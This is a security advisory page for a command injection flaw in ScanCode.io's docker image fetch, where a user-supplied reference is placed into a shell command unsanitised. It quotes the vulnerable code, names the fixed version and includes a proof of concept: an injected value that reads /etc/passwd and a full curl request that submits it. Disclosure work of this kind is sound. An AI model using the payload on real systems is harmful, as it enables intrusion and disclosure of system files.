GHSA-2ggp-cmvm-f62f

Suggest an improvement
Source
https://github.com/advisories/GHSA-2ggp-cmvm-f62f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/08/GHSA-2ggp-cmvm-f62f/GHSA-2ggp-cmvm-f62f.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-2ggp-cmvm-f62f
Aliases
Published
2023-08-09T14:41:23Z
Modified
2023-11-04T05:24:45.349466Z
Severity
  • 6.8 (Medium) CVSS_V3 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H CVSS Calculator
Summary
ScanCode.io command injection in docker image fetch process
Details

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

  1. Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs image

  2. Check docker logs to see the command execution image

    curl -i -s -k -X $'POST' \
        -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
        -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
        --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
        $'http://localhost/project/add/'
    

Mitigations The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on: - Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb] - OS: Ubuntu Linux Kernel 5.19.0

References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Database specific
{
    "nvd_published_at": "2023-08-07T21:15:09Z",
    "cwe_ids": [
        "CWE-77"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-09T14:41:23Z"
}
References

Affected packages

PyPI / scancodeio

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
32.5.1

Affected versions

32.*

32.0.1
32.1.0
32.2.0
32.4.0
32.5.0

Database specific

{
    "last_known_affected_version_range": "<= 32.5.0"
}